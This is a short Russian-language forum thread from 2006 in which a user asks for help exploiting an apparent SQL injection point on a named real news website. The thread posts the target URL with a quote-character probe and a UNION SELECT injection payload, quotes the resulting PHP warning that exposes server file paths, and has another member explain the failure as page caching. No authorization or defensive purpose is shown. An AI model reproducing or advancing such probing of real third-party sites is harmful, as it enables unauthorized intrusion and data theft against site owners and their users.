SQL Injection HELP!

Discussion in 'PHP' started by MetallicA, 18 Feb 2006.

  1. MetallicA

    MetallicA New Member

    Joined:
    16 Feb 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Всем привет! Юзал один сайт дабы вроди нащёл помеху
    http://rustavi2.com.ge/news_textg.php?id_news=00'
    вылазиют разные варнинги но дальше не могу использовать эту помеху) Юзаю так:
    http://rustavi2.com.ge/news_textg.php?id_news=00'%20UNION%20select%20null,null%20/*
    В результате (Делал по разному но таже самая фигня)
    /*
    Warning: fopen(cache/news_textg.phpid_news=00\'%20UNION%20select%20null,null%20/*.cache): failed to open stream: No such file or directory in /www/rustavi2.com/doc/includes/cache.php on line 24
    */
    Чё за фигня? или я чтото не так делаю?
     
  2. vfDcs

    vfDcs New Member

    Joined:
    26 Jul 2005
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
  3. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    Это значит они используют кеширование страниц, чтобы каждый раз не формировать страницу заново.
    Твоего вывода в кеше нет, и он страницу не формирует по новой почему-то...
    Помоему так :]